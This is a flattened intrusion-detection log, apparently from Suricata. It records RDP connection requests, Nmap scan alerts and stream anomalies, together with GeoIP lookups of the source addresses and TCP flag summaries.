{'gid': 1, 'action': 'allowed', 'category': 'Misc activity', 'signature_id': 2001329, 'signature': 'ET INFO RDP connection request', 'rev': 10, 'metadata': {'signature_severity': ['Informational'], 'confidence': ['High'], 'updated_at': ['2024_03_07'], 'created_at': ['2010_07_30']}, 'severity': 3}

{'city_name': 'Ho Chi Minh City', 'timezone': 'Asia/Ho_Chi_Minh', 'region_name': 'Ho Chi Minh', 'ip': '14.169.16.183', 'asn': 45899, 'longitude': 106.6257, 'postal_code': '700000', 'country_code2': 'VN', 'location': {'lon': 106.6257, 'lat': 10.822}, 'latitude': 10.822, 'country_name': 'Vietnam', 'region_code': 'SG', 'as_org': 'VNPT Corp', 'country_code3': 'VN', 'continent_code': 'AS'}


{'signature': 'ET SCAN MS Terminal Server Traffic on Non-standard Port', 'action': 'allowed', 'metadata': {'performance_impact': ['Low'], 'confidence': ['Medium'], 'affected_product': ['Microsoft_Terminal_Server_RDP'], 'signature_severity': ['Major'], 'attack_target': ['Server'], 'deployment': ['Perimeter'], 'updated_at': ['2024_03_07'], 'created_at': ['2017_01_23']}, 'category': 'Attempted Information Leak', 'severity': 2, 'rev': 4, 'gid': 1, 'signature_id': 2023753}

{'location': {'lon': -74.0203, 'lat': 40.7964}, 'postal_code': '07047', 'longitude': -74.0203, 'ip': '206.189.189.212', 'country_name': 'United States', 'country_code3': 'US', 'country_code2': 'US', 'region_code': 'NJ', 'dma_code': 501, 'timezone': 'America/New_York', 'latitude': 40.7964, 'continent_code': 'NA', 'asn': 14061, 'city_name': 'North Bergen', 'as_org': 'DIGITALOCEAN-ASN', 'region_name': 'New Jersey'}


{'location': {'lat': 9.0, 'lon': -80.0}, 'longitude': -80.0, 'as_org': 'Flyservers S.A.', 'latitude': 9.0, 'timezone': 'America/Panama', 'continent_code': 'NA', 'country_name': 'Panama', 'ip': '45.227.254.156', 'country_code2': 'PA', 'asn': 267784, 'country_code3': 'PA'}

{'syn': True, 'psh': True, 'ts_max_regions': 1, 'tcp_flags': 'df', 'rst': True, 'fin': True, 'tc_max_regions': 1, 'state': 'closed', 'tcp_flags_ts': 'de', 'ecn': True, 'ack': True, 'cwr': True, 'tcp_flags_tc': '5b'}


{'continent_code': 'EU', 'location': {'lat': 52.2394, 'lon': 21.0362}, 'country_code2': 'PL', 'latitude': 52.2394, 'country_name': 'Poland', 'country_code3': 'PL', 'ip': '146.19.24.85', 'timezone': 'Europe/Warsaw', 'asn': 201814, 'as_org': 'MEVSPACE sp. z o.o.', 'longitude': 21.0362}

cli


{'action': 'allowed', 'signature': 'SURICATA STREAM Packet with invalid timestamp', 'category': 'Generic Protocol Command Decode', 'rev': 2, 'signature_id': 2210044, 'severity': 3, 'gid': 1}

{'asn': 15802, 'country_name': 'United Arab Emirates', 'location': {'lat': 25.0734, 'lon': 55.2979}, 'longitude': 55.2979, 'ip': '87.200.80.161', 'latitude': 25.0734, 'region_name': 'Dubai', 'as_org': 'Emirates Integrated Telecommunications Company PJSC', 'city_name': 'Dubai', 'region_code': 'DU', 'continent_code': 'AS', 'country_code3': 'AE', 'country_code2': 'AE', 'timezone': 'Asia/Dubai'}


{'severity': 3, 'category': 'Generic Protocol Command Decode', 'action': 'allowed', 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'signature_id': 2101447, 'metadata': {'confidence': ['Medium'], 'created_at': ['2010_09_23'], 'updated_at': ['2024_03_08'], 'signature_severity': ['Informational']}, 'cve_id': 'CVE-2001-0540', 'gid': 1, 'rev': 15}

{'timezone': 'America/Chicago', 'longitude': -97.822, 'continent_code': 'NA', 'country_code2': 'US', 'as_org': 'EDGENAT-CLOUD', 'location': {'lat': 37.751, 'lon': -97.822}, 'country_name': 'United States', 'country_code3': 'US', 'ip': '112.196.222.60', 'latitude': 37.751, 'asn': 400342}


{'latitude': 16.1667, 'timezone': 'Asia/Bangkok', 'asn': 135905, 'country_code2': 'VN', 'country_name': 'Vietnam', 'country_code3': 'VN', 'location': {'lon': 107.8333, 'lat': 16.1667}, 'continent_code': 'AS', 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP', 'longitude': 107.8333, 'ip': '103.149.98.225'}

cli


{'severity': 3, 'signature_id': 2101447, 'metadata': {'signature_severity': ['Informational'], 'created_at': ['2010_09_23'], 'updated_at': ['2024_03_08'], 'confidence': ['Medium']}, 'category': 'Generic Protocol Command Decode', 'cve_id': 'CVE-2001-0540', 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'action': 'allowed', 'gid': 1, 'rev': 15}

{'country_code2': 'VN', 'timezone': 'Asia/Bangkok', 'location': {'lon': 107.8333, 'lat': 16.1667}, 'ip': '103.149.98.226', 'latitude': 16.1667, 'asn': 135905, 'continent_code': 'AS', 'country_code3': 'VN', 'country_name': 'Vietnam', 'longitude': 107.8333, 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP'}


{'region_code': '12', 'country_name': 'Thailand', 'continent_code': 'AS', 'latitude': 13.9062, 'timezone': 'Asia/Bangkok', 'longitude': 100.4045, 'country_code3': 'TH', 'city_name': 'Nonthaburi', 'postal_code': '11110', 'as_org': 'TRUE INTERNET Co.,Ltd.', 'region_name': 'Nonthaburi', 'country_code2': 'TH', 'asn': 7470, 'location': {'lat': 13.9062, 'lon': 100.4045}, 'ip': '61.91.163.146'}


{'postal_code': '86090', 'as_org': 'UNINET', 'country_code3': 'MX', 'latitude': 17.9776, 'asn': 8151, 'longitude': -92.9221, 'region_code': 'TAB', 'continent_code': 'NA', 'timezone': 'America/Mexico_City', 'ip': '189.230.100.92', 'country_code2': 'MX', 'city_name': 'Centro Municipality', 'location': {'lat': 17.9776, 'lon': -92.9221}, 'country_name': 'Mexico', 'region_name': 'Tabasco'}

srv


{'rev': 15, 'action': 'allowed', 'gid': 1, 'category': 'Generic Protocol Command Decode', 'severity': 3, 'metadata': {'created_at': ['2010_09_23'], 'confidence': ['Medium'], 'signature_severity': ['Informational'], 'updated_at': ['2024_03_08']}, 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'signature_id': 2101447, 'cve_id': 'CVE-2001-0540'}

{'country_name': 'Finland', 'longitude': 24.9347, 'region_code': '18', 'country_code2': 'FI', 'ip': '95.217.198.93', 'postal_code': '00191', 'latitude': 60.1719, 'asn': 24940, 'timezone': 'Europe/Helsinki', 'city_name': 'Helsinki', 'region_name': 'Uusimaa', 'as_org': 'Hetzner Online GmbH', 'country_code3': 'FI', 'continent_code': 'EU', 'location': {'lon': 24.9347, 'lat': 60.1719}}


{'gid': 1, 'severity': 3, 'category': 'Misc activity', 'rev': 10, 'action': 'allowed', 'signature': 'ET INFO RDP connection request', 'metadata': {'signature_severity': ['Informational'], 'created_at': ['2010_07_30'], 'confidence': ['High'], 'updated_at': ['2024_03_07']}, 'signature_id': 2001329}

{'continent_code': 'AF', 'country_code3': 'NG', 'longitude': 8.0, 'ip': '102.209.31.250', 'country_name': 'Nigeria', 'timezone': 'Africa/Lagos', 'as_org': 'WIOCC-AS', 'asn': 37662, 'country_code2': 'NG', 'location': {'lon': 8.0, 'lat': 10.0}, 'latitude': 10.0}


{'metadata': {'updated_at': ['2024_03_07'], 'created_at': ['2010_07_30'], 'signature_severity': ['Informational'], 'confidence': ['High']}, 'signature': 'ET INFO RDP connection request', 'action': 'allowed', 'category': 'Misc activity', 'severity': 3, 'gid': 1, 'signature_id': 2001329, 'rev': 10}

{'country_code3': 'DE', 'latitude': 51.2993, 'asn': 28753, 'timezone': 'Europe/Berlin', 'longitude': 9.491, 'as_org': 'Leaseweb Deutschland GmbH', 'continent_code': 'EU', 'ip': '212.95.43.233', 'country_code2': 'DE', 'country_name': 'Germany', 'location': {'lon': 9.491, 'lat': 51.2993}}


{'region_code': 'BRU', 'continent_code': 'EU', 'country_code3': 'BE', 'location': {'lat': 50.8534, 'lon': 4.347}, 'country_name': 'Belgium', 'timezone': 'Europe/Brussels', 'ip': '146.148.26.145', 'asn': 396982, 'latitude': 50.8534, 'as_org': 'GOOGLE-CLOUD-PLATFORM', 'postal_code': '1000', 'longitude': 4.347, 'country_code2': 'BE', 'region_name': 'Brussels Capital', 'city_name': 'Brussels'}

cli


{'latitude': 52.2986, 'country_code2': 'NL', 'longitude': 4.9728, 'timezone': 'Europe/Amsterdam', 'country_name': 'The Netherlands', 'as_org': 'NYBULA', 'continent_code': 'EU', 'asn': 401116, 'city_name': 'Amsterdam', 'country_code3': 'NL', 'region_code': 'NH', 'ip': '196.251.115.97', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'postal_code': '1106', 'region_name': 'North Holland'}


{'city_name': 'Helsinki', 'timezone': 'Europe/Helsinki', 'region_name': 'Uusimaa', 'ip': '95.216.38.94', 'asn': 24940, 'longitude': 24.9347, 'postal_code': '00191', 'country_code2': 'FI', 'location': {'lon': 24.9347, 'lat': 60.1719}, 'latitude': 60.1719, 'country_name': 'Finland', 'region_code': '18', 'as_org': 'Hetzner Online GmbH', 'country_code3': 'FI', 'continent_code': 'EU'}

srv


{'location': {'lat': 42.696, 'lon': 23.332}, 'longitude': 23.332, 'as_org': 'Dm Auto Eood', 'latitude': 42.696, 'timezone': 'Europe/Sofia', 'continent_code': 'EU', 'country_name': 'Bulgaria', 'ip': '79.124.62.122', 'country_code2': 'BG', 'asn': 207812, 'country_code3': 'BG'}

{'tcp_flags_ts': '06', 'syn': True, 'ts_max_regions': 1, 'tcp_flags': '16', 'rst': True, 'ack': True, 'tc_max_regions': 1, 'tcp_flags_tc': '12', 'state': 'closed'}


{'city_name': 'Shanghai', 'location': {'lat': 31.2222, 'lon': 121.4581}, 'country_code2': 'CN', 'asn': 134420, 'country_code3': 'CN', 'ip': '113.250.162.26', 'timezone': 'Asia/Shanghai', 'continent_code': 'AS', 'country_name': 'China', 'region_name': 'Shanghai', 'latitude': 31.2222, 'region_code': 'SH', 'longitude': 121.4581, 'as_org': 'Chongqing Telecom'}

cli


cli


{'signature': 'SURICATA STREAM Packet with broken ack', 'category': 'Generic Protocol Command Decode', 'gid': 1, 'signature_id': 2210051, 'rev': 2, 'action': 'allowed', 'severity': 3}

{'region_code': 'AH', 'country_name': 'China', 'continent_code': 'AS', 'latitude': 31.8696, 'timezone': 'Asia/Shanghai', 'longitude': 117.293, 'country_code3': 'CN', 'city_name': 'Hefei', 'as_org': 'HaerbingHeilongjiang Province, P.R.China.', 'region_name': 'Anhui', 'country_code2': 'CN', 'asn': 137698, 'location': {'lat': 31.8696, 'lon': 117.293}, 'ip': '42.101.45.36'}


{'postal_code': '11110', 'as_org': 'TRUE INTERNET Co.,Ltd.', 'country_code3': 'TH', 'latitude': 13.9062, 'asn': 7470, 'longitude': 100.4045, 'region_code': '12', 'continent_code': 'AS', 'timezone': 'Asia/Bangkok', 'ip': '61.91.163.146', 'country_code2': 'TH', 'city_name': 'Nonthaburi', 'location': {'lat': 13.9062, 'lon': 100.4045}, 'country_name': 'Thailand', 'region_name': 'Nonthaburi'}

cli


{'rev': 3, 'action': 'allowed', 'gid': 1, 'category': 'Attempted Information Leak', 'severity': 2, 'metadata': {'created_at': ['2010_07_30'], 'confidence': ['Low'], 'signature_severity': ['Informational'], 'updated_at': ['2019_07_26']}, 'signature': 'ET SCAN NMAP -sS window 1024', 'signature_id': 2009582}

{'country_name': 'United States', 'longitude': -74.0066, 'region_code': 'NY', 'country_code2': 'US', 'ip': '124.198.131.145', 'postal_code': '10118', 'latitude': 40.7126, 'asn': 210558, 'timezone': 'America/New_York', 'city_name': 'New York', 'region_name': 'New York', 'dma_code': 501, 'country_code3': 'US', 'as_org': '1337 Services GmbH', 'continent_code': 'NA', 'location': {'lon': -74.0066, 'lat': 40.7126}}


{'signature': 'GPL INFO MS Remote Desktop Request RDP', 'metadata': {'created_at': ['2010_09_23'], 'signature_severity': ['Informational'], 'confidence': ['Medium'], 'updated_at': ['2024_03_08']}, 'cve_id': 'CVE-2001-0540', 'category': 'Generic Protocol Command Decode', 'gid': 1, 'rev': 15, 'signature_id': 2101447, 'severity': 3, 'action': 'allowed'}

{'longitude': 107.8333, 'as_org': 'Branch of Long Van System Solution JSC - Hanoi', 'country_name': 'Vietnam', 'country_code3': 'VN', 'timezone': 'Asia/Bangkok', 'latitude': 16.1667, 'asn': 131423, 'continent_code': 'AS', 'location': {'lat': 16.1667, 'lon': 107.8333}, 'country_code2': 'VN', 'ip': '103.2.225.131'}


{'cve_id': 'CVE-2001-0540', 'gid': 1, 'severity': 3, 'category': 'Generic Protocol Command Decode', 'rev': 15, 'action': 'allowed', 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'metadata': {'signature_severity': ['Informational'], 'created_at': ['2010_09_23'], 'confidence': ['Medium'], 'updated_at': ['2024_03_08']}, 'signature_id': 2101447}


{'metadata': {'updated_at': ['2024_03_08'], 'created_at': ['2010_09_23'], 'signature_severity': ['Informational'], 'confidence': ['Medium']}, 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'action': 'allowed', 'category': 'Generic Protocol Command Decode', 'severity': 3, 'gid': 1, 'signature_id': 2101447, 'rev': 15, 'cve_id': 'CVE-2001-0540'}


srv


{'longitude': -97.822, 'ip': '162.142.125.138', 'country_name': 'United States', 'country_code3': 'US', 'country_code2': 'US', 'timezone': 'America/Chicago', 'latitude': 37.751, 'asn': 398324, 'continent_code': 'NA', 'as_org': 'CENSYS-ARIN-01', 'location': {'lon': -97.822, 'lat': 37.751}}

cli


{'metadata': {'created_at': ['2010_07_30'], 'confidence': ['High'], 'signature_severity': ['Informational'], 'updated_at': ['2024_03_07']}, 'signature_id': 2001329, 'action': 'allowed', 'gid': 1, 'signature': 'ET INFO RDP connection request', 'rev': 10, 'category': 'Misc activity', 'severity': 3}

{'continent_code': 'EU', 'location': {'lat': 52.2394, 'lon': 21.0362}, 'country_code2': 'PL', 'latitude': 52.2394, 'country_name': 'Poland', 'country_code3': 'PL', 'ip': '146.19.24.85', 'timezone': 'Europe/Warsaw', 'asn': 201814, 'as_org': 'MEVSPACE sp. z o.o.', 'longitude': 21.0362}


{'country_name': 'The Netherlands', 'city_name': 'Amsterdam', 'region_code': 'NH', 'latitude': 52.2986, 'country_code2': 'NL', 'asn': 401116, 'country_code3': 'NL', 'continent_code': 'EU', 'postal_code': '1106', 'longitude': 4.9728, 'location': {'lat': 52.2986, 'lon': 4.9728}, 'ip': '196.251.66.154', 'region_name': 'North Holland', 'timezone': 'Europe/Amsterdam', 'as_org': 'NYBULA'}


{'asn': 15802, 'country_name': 'United Arab Emirates', 'location': {'lat': 25.0734, 'lon': 55.2979}, 'longitude': 55.2979, 'ip': '87.200.80.161', 'latitude': 25.0734, 'region_name': 'Dubai', 'as_org': 'Emirates Integrated Telecommunications Company PJSC', 'city_name': 'Dubai', 'region_code': 'DU', 'continent_code': 'AS', 'country_code3': 'AE', 'country_code2': 'AE', 'timezone': 'Asia/Dubai'}


{'severity': 3, 'category': 'Misc activity', 'action': 'allowed', 'signature': 'ET INFO RDP connection request', 'signature_id': 2001329, 'metadata': {'confidence': ['High'], 'created_at': ['2010_07_30'], 'updated_at': ['2024_03_07'], 'signature_severity': ['Informational']}, 'gid': 1, 'rev': 10}

{'timezone': 'America/Chicago', 'longitude': -97.822, 'continent_code': 'NA', 'country_code2': 'US', 'as_org': 'EDGENAT-CLOUD', 'location': {'lat': 37.751, 'lon': -97.822}, 'country_name': 'United States', 'country_code3': 'US', 'ip': '112.196.222.60', 'latitude': 37.751, 'asn': 400342}


{'latitude': 16.1667, 'timezone': 'Asia/Bangkok', 'asn': 135905, 'country_code2': 'VN', 'country_name': 'Vietnam', 'country_code3': 'VN', 'location': {'lon': 107.8333, 'lat': 16.1667}, 'continent_code': 'AS', 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP', 'longitude': 107.8333, 'ip': '103.149.98.225'}

srv


{'country_name': 'Germany', 'continent_code': 'EU', 'latitude': 51.2993, 'timezone': 'Europe/Berlin', 'longitude': 9.491, 'country_code3': 'DE', 'as_org': 'Railnet LLC', 'asn': 214943, 'country_code2': 'DE', 'location': {'lat': 51.2993, 'lon': 9.491}, 'ip': '213.209.157.11'}

cli


{'country_name': 'Finland', 'longitude': 24.9347, 'region_code': '18', 'country_code2': 'FI', 'ip': '95.217.198.93', 'postal_code': '00191', 'latitude': 60.1719, 'asn': 24940, 'timezone': 'Europe/Helsinki', 'city_name': 'Helsinki', 'region_name': 'Uusimaa', 'as_org': 'Hetzner Online GmbH', 'country_code3': 'FI', 'continent_code': 'EU', 'location': {'lon': 24.9347, 'lat': 60.1719}}


{'continent_code': 'AF', 'country_code3': 'NG', 'longitude': 8.0, 'ip': '102.209.31.250', 'country_name': 'Nigeria', 'timezone': 'Africa/Lagos', 'as_org': 'WIOCC-AS', 'asn': 37662, 'country_code2': 'NG', 'location': {'lon': 8.0, 'lat': 10.0}, 'latitude': 10.0}

{'protocol': 'ssl', 'event_type': 'initial_response', 'tx_id': 2}


{'country_code3': 'DE', 'city_name': 'Falkenstein', 'latitude': 50.4777, 'postal_code': '08223', 'timezone': 'Europe/Berlin', 'longitude': 12.3649, 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'continent_code': 'EU', 'region_name': 'Saxony', 'ip': '195.201.247.59', 'country_code2': 'DE', 'region_code': 'SN', 'country_name': 'Germany', 'location': {'lon': 12.3649, 'lat': 50.4777}}

{'tx_id': 2, 'event_type': 'initial_response', 'protocol': 'ssl'}


{'region_code': 'BRU', 'continent_code': 'EU', 'country_code3': 'BE', 'location': {'lat': 50.8534, 'lon': 4.347}, 'country_name': 'Belgium', 'timezone': 'Europe/Brussels', 'ip': '146.148.26.145', 'asn': 396982, 'latitude': 50.8534, 'as_org': 'GOOGLE-CLOUD-PLATFORM', 'postal_code': '1000', 'longitude': 4.347, 'country_code2': 'BE', 'region_name': 'Brussels Capital', 'city_name': 'Brussels'}

srv


{'latitude': 52.2986, 'country_code2': 'NL', 'longitude': 4.9728, 'timezone': 'Europe/Amsterdam', 'country_name': 'The Netherlands', 'as_org': 'NYBULA', 'continent_code': 'EU', 'asn': 401116, 'city_name': 'Amsterdam', 'country_code3': 'NL', 'region_code': 'NH', 'ip': '196.251.115.97', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'postal_code': '1106', 'region_name': 'North Holland'}

srv


{'city_name': 'Ho Chi Minh City', 'timezone': 'Asia/Ho_Chi_Minh', 'region_name': 'Ho Chi Minh', 'ip': '14.169.16.183', 'asn': 45899, 'longitude': 106.6257, 'postal_code': '700000', 'country_code2': 'VN', 'location': {'lon': 106.6257, 'lat': 10.822}, 'latitude': 10.822, 'country_name': 'Vietnam', 'region_code': 'SG', 'as_org': 'VNPT Corp', 'country_code3': 'VN', 'continent_code': 'AS'}

cli


{'location': {'lon': -74.0203, 'lat': 40.7964}, 'postal_code': '07047', 'longitude': -74.0203, 'ip': '206.189.189.212', 'country_name': 'United States', 'country_code3': 'US', 'country_code2': 'US', 'region_code': 'NJ', 'dma_code': 501, 'timezone': 'America/New_York', 'latitude': 40.7964, 'continent_code': 'NA', 'asn': 14061, 'city_name': 'North Bergen', 'as_org': 'DIGITALOCEAN-ASN', 'region_name': 'New Jersey'}

cli


{'location': {'lat': 50.1169, 'lon': 8.6837}, 'region_code': 'HE', 'longitude': 8.6837, 'as_org': 'Datacamp Limited', 'postal_code': '60313', 'latitude': 50.1169, 'timezone': 'Europe/Berlin', 'continent_code': 'EU', 'country_name': 'Germany', 'ip': '138.199.19.76', 'country_code2': 'DE', 'city_name': 'Frankfurt am Main', 'asn': 212238, 'country_code3': 'DE', 'region_name': 'Hesse'}

{'syn': True, 'psh': True, 'ts_max_regions': 1, 'tcp_flags': 'de', 'rst': True, 'tc_max_regions': 1, 'state': 'closed', 'tcp_flags_ts': 'de', 'ecn': True, 'ack': True, 'cwr': True, 'tcp_flags_tc': '1a'}


{'city_name': 'Shanghai', 'location': {'lat': 31.2222, 'lon': 121.4581}, 'country_code2': 'CN', 'asn': 134420, 'country_code3': 'CN', 'ip': '113.250.162.26', 'timezone': 'Asia/Shanghai', 'continent_code': 'AS', 'country_name': 'China', 'region_name': 'Shanghai', 'latitude': 31.2222, 'region_code': 'SH', 'longitude': 121.4581, 'as_org': 'Chongqing Telecom'}

srv


{'latitude': 52.352, 'region_name': 'North Holland', 'country_code3': 'NL', 'continent_code': 'EU', 'region_code': 'NH', 'country_name': 'The Netherlands', 'country_code2': 'NL', 'longitude': 4.9392, 'timezone': 'Europe/Amsterdam', 'postal_code': '1098', 'asn': 14061, 'as_org': 'DIGITALOCEAN-ASN', 'city_name': 'Amsterdam', 'ip': '64.227.66.66', 'location': {'lon': 4.9392, 'lat': 52.352}}


{'severity': 3, 'category': 'Generic Protocol Command Decode', 'action': 'allowed', 'signature': 'SURICATA STREAM Packet with broken ack', 'signature_id': 2210051, 'gid': 1, 'rev': 2}

{'timezone': 'Asia/Shanghai', 'longitude': 113.722, 'continent_code': 'AS', 'country_code2': 'CN', 'as_org': 'Chinanet', 'location': {'lat': 34.7732, 'lon': 113.722}, 'country_name': 'China', 'country_code3': 'CN', 'ip': '106.58.218.65', 'latitude': 34.7732, 'asn': 4134}


srv


{'country_code2': 'MX', 'timezone': 'America/Mazatlan', 'location': {'lon': -107.4289, 'lat': 24.574}, 'ip': '189.186.26.251', 'latitude': 24.574, 'postal_code': '80430', 'asn': 8151, 'continent_code': 'NA', 'country_code3': 'MX', 'country_name': 'Mexico', 'longitude': -107.4289, 'region_name': 'Sinaloa', 'region_code': 'SIN', 'as_org': 'UNINET', 'city_name': 'Culiacán'}

{'tcp_flags_tc': '13', 'tcp_flags': '13', 'ts_max_regions': 1, 'tcp_flags_ts': '13', 'tc_max_regions': 1, 'syn': True, 'fin': True, 'ack': True, 'state': 'closed'}


cli


{'action': 'allowed', 'severity': 3, 'gid': 1, 'category': 'Misc activity', 'signature': 'ET INFO RDP connection request', 'signature_id': 2001329, 'rev': 10, 'metadata': {'created_at': ['2010_07_30'], 'signature_severity': ['Informational'], 'confidence': ['High'], 'updated_at': ['2024_03_07']}}

{'postal_code': '11110', 'as_org': 'TRUE INTERNET Co.,Ltd.', 'country_code3': 'TH', 'latitude': 13.9062, 'asn': 7470, 'longitude': 100.4045, 'region_code': '12', 'continent_code': 'AS', 'timezone': 'Asia/Bangkok', 'ip': '61.91.163.146', 'country_code2': 'TH', 'city_name': 'Nonthaburi', 'location': {'lat': 13.9062, 'lon': 100.4045}, 'country_name': 'Thailand', 'region_name': 'Nonthaburi'}


{'as_org': 'Railnet LLC', 'ip': '77.90.135.11', 'country_name': 'Türkiye', 'country_code3': 'TR', 'location': {'lon': 28.9645, 'lat': 41.0019}, 'country_code2': 'TR', 'asn': 214943, 'region_name': 'Istanbul', 'continent_code': 'AS', 'postal_code': '34134', 'timezone': 'Europe/Istanbul', 'latitude': 41.0019, 'region_code': '34', 'city_name': 'Istanbul', 'longitude': 28.9645}

cli


{'continent_code': 'AS', 'country_code3': 'SG', 'longitude': 103.6839, 'country_name': 'Singapore', 'ip': '157.230.241.242', 'timezone': 'Asia/Singapore', 'as_org': 'DIGITALOCEAN-ASN', 'postal_code': '62', 'asn': 14061, 'city_name': 'Singapore', 'country_code2': 'SG', 'location': {'lon': 103.6839, 'lat': 1.314}, 'latitude': 1.314}


{'city_name': 'Amsterdam', 'timezone': 'Europe/Amsterdam', 'region_name': 'North Holland', 'ip': '196.251.66.163', 'asn': 401116, 'longitude': 4.9728, 'postal_code': '1106', 'country_code2': 'NL', 'location': {'lon': 4.9728, 'lat': 52.2986}, 'latitude': 52.2986, 'country_name': 'The Netherlands', 'region_code': 'NH', 'as_org': 'NYBULA', 'country_code3': 'NL', 'continent_code': 'EU'}

cli


{'location': {'lat': 9.0, 'lon': -80.0}, 'longitude': -80.0, 'as_org': 'Flyservers S.A.', 'latitude': 9.0, 'timezone': 'America/Panama', 'continent_code': 'NA', 'country_name': 'Panama', 'ip': '45.227.254.155', 'country_code2': 'PA', 'asn': 267784, 'country_code3': 'PA'}


{'action': 'allowed', 'category': 'Misc activity', 'metadata': {'updated_at': ['2024_03_07'], 'confidence': ['High'], 'created_at': ['2010_07_30'], 'signature_severity': ['Informational']}, 'signature_id': 2001329, 'severity': 3, 'signature': 'ET INFO RDP connection request', 'gid': 1, 'rev': 10}

{'city_name': 'Moscow', 'postal_code': '129346', 'location': {'lat': 55.7487, 'lon': 37.6187}, 'country_code2': 'RU', 'asn': 8492, 'country_code3': 'RU', 'ip': '185.195.242.249', 'timezone': 'Europe/Moscow', 'continent_code': 'EU', 'country_name': 'Russia', 'region_name': 'Moscow', 'latitude': 55.7487, 'region_code': 'MOW', 'longitude': 37.6187, 'as_org': 'OBIT Ltd.'}


{'country_name': 'Poland', 'latitude': 52.2394, 'country_code2': 'PL', 'asn': 201814, 'country_code3': 'PL', 'continent_code': 'EU', 'longitude': 21.0362, 'as_org': 'MEVSPACE sp. z o.o.', 'location': {'lat': 52.2394, 'lon': 21.0362}, 'ip': '146.19.24.85', 'timezone': 'Europe/Warsaw'}

cli


{'timezone': 'America/Chicago', 'longitude': -97.822, 'continent_code': 'NA', 'country_code2': 'US', 'as_org': 'EDGENAT-CLOUD', 'location': {'lat': 37.751, 'lon': -97.822}, 'country_name': 'United States', 'country_code3': 'US', 'ip': '112.196.222.60', 'latitude': 37.751, 'asn': 400342}


{'country_code2': 'RO', 'timezone': 'Europe/Bucharest', 'location': {'lon': 24.997, 'lat': 45.9968}, 'ip': '45.142.193.169', 'latitude': 45.9968, 'asn': 12695, 'continent_code': 'EU', 'country_code3': 'RO', 'country_name': 'Romania', 'longitude': 24.997, 'as_org': 'LLC Digital Network'}

cli


{'country_name': 'Germany', 'continent_code': 'EU', 'latitude': 51.2993, 'timezone': 'Europe/Berlin', 'longitude': 9.491, 'country_code3': 'DE', 'as_org': 'Railnet LLC', 'asn': 214943, 'country_code2': 'DE', 'location': {'lat': 51.2993, 'lon': 9.491}, 'ip': '213.209.157.11'}

srv


{'action': 'allowed', 'severity': 3, 'gid': 1, 'category': 'Generic Protocol Command Decode', 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'signature_id': 2101447, 'cve_id': 'CVE-2001-0540', 'rev': 15, 'metadata': {'created_at': ['2010_09_23'], 'signature_severity': ['Informational'], 'confidence': ['Medium'], 'updated_at': ['2024_03_08']}}


{'country_name': 'Finland', 'longitude': 24.9347, 'region_code': '18', 'country_code2': 'FI', 'ip': '95.217.198.93', 'postal_code': '00191', 'latitude': 60.1719, 'asn': 24940, 'timezone': 'Europe/Helsinki', 'city_name': 'Helsinki', 'region_name': 'Uusimaa', 'as_org': 'Hetzner Online GmbH', 'country_code3': 'FI', 'continent_code': 'EU', 'location': {'lon': 24.9347, 'lat': 60.1719}}


{'continent_code': 'AF', 'country_code3': 'NG', 'longitude': 8.0, 'ip': '102.209.31.250', 'country_name': 'Nigeria', 'timezone': 'Africa/Lagos', 'as_org': 'WIOCC-AS', 'asn': 37662, 'country_code2': 'NG', 'location': {'lon': 8.0, 'lat': 10.0}, 'latitude': 10.0}


{'country_code3': 'DE', 'city_name': 'Falkenstein', 'latitude': 50.4777, 'postal_code': '08223', 'timezone': 'Europe/Berlin', 'longitude': 12.3649, 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'continent_code': 'EU', 'region_name': 'Saxony', 'ip': '195.201.247.59', 'country_code2': 'DE', 'region_code': 'SN', 'country_name': 'Germany', 'location': {'lon': 12.3649, 'lat': 50.4777}}

cli


{'latitude': 52.2986, 'country_code2': 'NL', 'longitude': 4.9728, 'timezone': 'Europe/Amsterdam', 'country_name': 'The Netherlands', 'as_org': 'NYBULA', 'continent_code': 'EU', 'asn': 401116, 'city_name': 'Amsterdam', 'country_code3': 'NL', 'region_code': 'NH', 'ip': '196.251.115.97', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'postal_code': '1106', 'region_name': 'North Holland'}

srv


{'location': {'lon': -74.0203, 'lat': 40.7964}, 'postal_code': '07047', 'longitude': -74.0203, 'ip': '206.189.189.212', 'country_name': 'United States', 'country_code3': 'US', 'country_code2': 'US', 'region_code': 'NJ', 'dma_code': 501, 'timezone': 'America/New_York', 'latitude': 40.7964, 'continent_code': 'NA', 'asn': 14061, 'city_name': 'North Bergen', 'as_org': 'DIGITALOCEAN-ASN', 'region_name': 'New Jersey'}

srv


{'action': 'allowed', 'category': 'Generic Protocol Command Decode', 'metadata': {'updated_at': ['2024_03_08'], 'confidence': ['Medium'], 'created_at': ['2010_09_23'], 'signature_severity': ['Informational']}, 'signature_id': 2101447, 'severity': 3, 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'gid': 1, 'cve_id': 'CVE-2001-0540', 'rev': 15}


{'latitude': 60.1719, 'region_name': 'Uusimaa', 'country_code3': 'FI', 'continent_code': 'EU', 'region_code': '18', 'country_name': 'Finland', 'country_code2': 'FI', 'longitude': 24.9347, 'timezone': 'Europe/Helsinki', 'postal_code': '00191', 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'city_name': 'Helsinki', 'ip': '135.181.216.152', 'location': {'lon': 24.9347, 'lat': 60.1719}}

cli


{'continent_code': 'NA', 'location': {'lat': 43.6319, 'lon': -79.3716}, 'country_code2': 'CA', 'latitude': 43.6319, 'country_name': 'Canada', 'country_code3': 'CA', 'ip': '198.27.107.173', 'timezone': 'America/Toronto', 'asn': 16276, 'as_org': 'OVH SAS', 'longitude': -79.3716}

{'ack': True, 'tcp_flags': '12', 'tcp_flags_tc': '12', 'ts_max_regions': 1, 'syn': True, 'tc_max_regions': 1, 'tcp_flags_ts': '02', 'state': 'syn_recv'}


cli


